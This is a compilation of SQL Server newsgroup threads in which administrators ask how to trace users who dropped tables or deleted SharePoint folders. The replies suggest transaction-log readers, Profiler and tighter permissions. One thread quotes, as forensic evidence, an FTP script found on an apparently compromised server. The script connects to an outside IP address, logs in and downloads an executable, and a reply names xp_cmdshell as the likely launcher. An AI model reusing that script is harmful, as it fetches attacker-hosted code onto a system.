Malicious user erase a table

Please. I need to find the way to identify a user of the database that erase
a table. Since I can do it ?Hi,
Try to read the Trasnaction log using Loagexplorer (www.lumigent.com) .
Otherway is to enable the profiler.
Thanks
Hari
SQL Server MVP
"BED" <BED@.discussions.microsoft.com> wrote in message
news:1B5F07B7-A43B-4F7E-80C5-2D86E1D6D947@.microsoft.com...
> Please. I need to find the way to identify a user of the database that
> erase
> a table. Since I can do it ?|||Start with the users who have rights to delete tables in that database. If
your security is set up right, that should narrow it down considerably.
"BED" <BED@.discussions.microsoft.com> wrote in message
news:1B5F07B7-A43B-4F7E-80C5-2D86E1D6D947@.microsoft.com...
> Please. I need to find the way to identify a user of the database that
> erase
> a table. Since I can do it ?|||Assuming you are using trusted connections or user-specific SQL logins, your
only chance would be to get a log reading program that allows you read the
transaction log.
Thomas
"BED" <BED@.discussions.microsoft.com> wrote in message
news:1B5F07B7-A43B-4F7E-80C5-2D86E1D6D947@.microsoft.com...
> Please. I need to find the way to identify a user of the database that era
se
> a table. Since I can do it ?|||If you don't know who (or what) deleted the table, then how do you know they
are malicious?
When did this occur? If it happened like less than an hour ago, then perhaps
they are still logged into EM or QA. Go into Enterprise Manager and look
under Managment\Current Activity\Process Info. This lists all current
connections to the server (including login name), and clicking on each
process will show the last SQL batch command they executed.
"BED" <BED@.discussions.microsoft.com> wrote in message
news:1B5F07B7-A43B-4F7E-80C5-2D86E1D6D947@.microsoft.com...
> Please. I need to find the way to identify a user of the database that
erase
> a table. Since I can do it ?|||Thanks, but log I erase.
It is left in some table the registry of drop and the user who did it ?
"Hari Pra" wrote:

> Hi,
> Try to read the Trasnaction log using Loagexplorer (www.lumigent.com) .
> Otherway is to enable the profiler.
> Thanks
> Hari
> SQL Server MVP
>
> "BED" <BED@.discussions.microsoft.com> wrote in message
> news:1B5F07B7-A43B-4F7E-80C5-2D86E1D6D947@.microsoft.com...
>
>|||The answer would be a resounding "No". Barring a custom logging solution, th
e
transaction log is *the* tool which gave you any hope of finding who emptied
your table.
Thomas
"BED" <BED@.discussions.microsoft.com> wrote in message
news:CC2D80A2-F74D-4C42-B765-94F897D9ADC1@.microsoft.com...
> Thanks, but log I erase.
> It is left in some table the registry of drop and the user who did it ?
> "Hari Pra" wrote:
>|||ok. Thank you very much
"Thomas Coleman" wrote:

> The answer would be a resounding "No". Barring a custom logging solution,
the
> transaction log is *the* tool which gave you any hope of finding who empti
ed
> your table.
>
> Thomas
>
> "BED" <BED@.discussions.microsoft.com> wrote in message
> news:CC2D80A2-F74D-4C42-B765-94F897D9ADC1@.microsoft.com...
>
>|||If you can't figure out "who deleted the table" then your security
configuration is pretty wack. Restore from backup and take away the rights
to "delete tables" from users who don't need it (more often than not in a
production environment this will be almost *all* of your users).
"JT" <someone@.microsoft.com> wrote in message
news:eam0HCYXFHA.3716@.TK2MSFTNGP12.phx.gbl...
> If you don't know who (or what) deleted the table, then how do you know
> they
> are malicious?
> When did this occur? If it happened like less than an hour ago, then
> perhaps
> they are still logged into EM or QA. Go into Enterprise Manager and look
> under Managment\Current Activity\Process Info. This lists all current
> connections to the server (including login name), and clicking on each
> process will show the last SQL batch command they executed.
> "BED" <BED@.discussions.microsoft.com> wrote in message
> news:1B5F07B7-A43B-4F7E-80C5-2D86E1D6D947@.microsoft.com...
> erase
>

Malicious User

Not sure if its the right place..but need help cracking this...Just
inherited a bad place......
Users access a certain share point site and browse a directory for a host of
folders.This afternoon one of the folders was deleted which has loads of
subfolders(as it is a sharepoint server).....now I need to find out who thi
s
kool dude is!...
What I have now: System state backup of the Machine,SQL full backup and the
backup(SQL and System) just after the files have
been deleted.
All I have is just Auditing for success and failure but nothing with object
access,didnt think if it would matter even if
object acess was enabled...
now...with the given situation...how do I get to this dude?Can someone
enrich my novice knowledge please?SQL server security...what do i look for
and where?
thanks
maverickHi maverick,
Not sure how Sharepoint works with SQL Server in this case but to find
out what people are using on the SQL Server level you should be using
SQL Profiler to capture a trace of all activity carried out against the
SQL Server. Hope this helps.
Jonathan
maverick wrote:
> Not sure if its the right place..but need help cracking this...Just
> inherited a bad place......
> Users access a certain share point site and browse a directory for a host
of
> folders.This afternoon one of the folders was deleted which has loads of
> subfolders(as it is a sharepoint server).....now I need to find out who t
his
> kool dude is!...
>
> What I have now: System state backup of the Machine,SQL full backup and th
e
> backup(SQL and System) just after the files have
> been deleted.
> All I have is just Auditing for success and failure but nothing with objec
t
> access,didnt think if it would matter even if
> object acess was enabled...
> now...with the given situation...how do I get to this dude?Can someone
> enrich my novice knowledge please?SQL server security...what do i look for
> and where?
>
> thanks
> maverick

malicious process...

Hi,
Since I installed a firewall on my machine, it regularly=20
detects unexpected ftp sessions.
Thanks to a process explorer, I remarked that ftp is=20
launched from a (hidden) cmd.exe, itself lauched by=20
sql.exe (for your info, the ftp command line is : "ftp -n -
s:?.txt" where ?.txt is a textfile in \system32\ ).
What SQL subsystem is able to launch such a process? a=20
stored procedure? a trigger? (fyi, SQLAgent is not=20
running). How can I prevent this to occur?
Thank you for your help,
Fran=E7ois
Note - contents of the textfile :
=20
open 81.244.183.229 19470 =20
user itqavjflw itqavjflw =20
get SCardClnt.exe =20
quit =20Hi
xp_cmdshell or xp_oa* are capable of doing this.
Regards
--
Mike Epprecht, Microsoft SQL Server MVP
Zurich, Switzerland
MVP Program: http://www.microsoft.com/mvp
Blog: http://www.msmvps.com/epprecht/
"Fran?ois G." wrote:

> Hi,
> Since I installed a firewall on my machine, it regularly
> detects unexpected ftp sessions.
> Thanks to a process explorer, I remarked that ftp is
> launched from a (hidden) cmd.exe, itself lauched by
> sql.exe (for your info, the ftp command line is : "ftp -n -
> s:?.txt" where ?.txt is a textfile in \system32\ ).
> What SQL subsystem is able to launch such a process? a
> stored procedure? a trigger? (fyi, SQLAgent is not
> running). How can I prevent this to occur?
> Thank you for your help,
> Fran?ois
>
> Note - contents of the textfile :
> open 81.244.183.229 19470
> user itqavjflw itqavjflw
> get SCardClnt.exe
> quit
>

Malicious attack or SQL Command?

Hi,
Yesterday here we had an incident on one of our production servers
where a few tables were explicitly dropped and recreated. I knew this
because of the object create date and the table permissions had
disappeared. This could have been a malicious attack or some process,
however my hunch is with the former.
Since the SQL Security here is going through a complete rethink (after
the horse has bolted!), my question would be other than explicitly
dropping and recreating a table is there a SQL Command/Process that
does this? Also for future reference (in case this sort of thing
happens again) I would like to setup server-side tracing, however I
have noticed that the trace doesn't pick up a users/machines IP
Address. I can see that in the SQL Error Logs use Network Address but
can a trace explicitly pick up an IP? I know SQL Server can block
certain IPs but can it log them?
Any other ideas for preventing this sort of thing would be most
welcome. Funny, you never think about security until you *REALLY* have
to. A lesson to be learned here.
Rgds,
qhMost likely this was a person with legitimate access to the SQL Server using
Enterprise Manager (AKA Enterprise Mangler) to change a table. Sometimes EM
drops and recreates tables "under the covers" to accomplish a task that does
not have a corresponding direct T-SQL command. This can expand to multiple
tables when Referential Integrity constraints are involved. Most of the
time this doesn't cause a problem, but if the system is high volume or the
tables are large, it gac get very ugly, very quickly. Personally, I avoid
EM to do production table changes. I prefer to script everything and deploy
to a test/QA system first.
Geoff N. Hiten
Senior Database Administrator
Microsoft SQL Server MVP
<quackhandle1975@.yahoo.co.uk> wrote in message
news:1123148974.573160.310190@.g47g2000cwa.googlegroups.com...
> Hi,
> Yesterday here we had an incident on one of our production servers
> where a few tables were explicitly dropped and recreated. I knew this
> because of the object create date and the table permissions had
> disappeared. This could have been a malicious attack or some process,
> however my hunch is with the former.
> Since the SQL Security here is going through a complete rethink (after
> the horse has bolted!), my question would be other than explicitly
> dropping and recreating a table is there a SQL Command/Process that
> does this? Also for future reference (in case this sort of thing
> happens again) I would like to setup server-side tracing, however I
> have noticed that the trace doesn't pick up a users/machines IP
> Address. I can see that in the SQL Error Logs use Network Address but
> can a trace explicitly pick up an IP? I know SQL Server can block
> certain IPs but can it log them?
> Any other ideas for preventing this sort of thing would be most
> welcome. Funny, you never think about security until you *REALLY* have
> to. A lesson to be learned here.
>
> Rgds,
> qh
>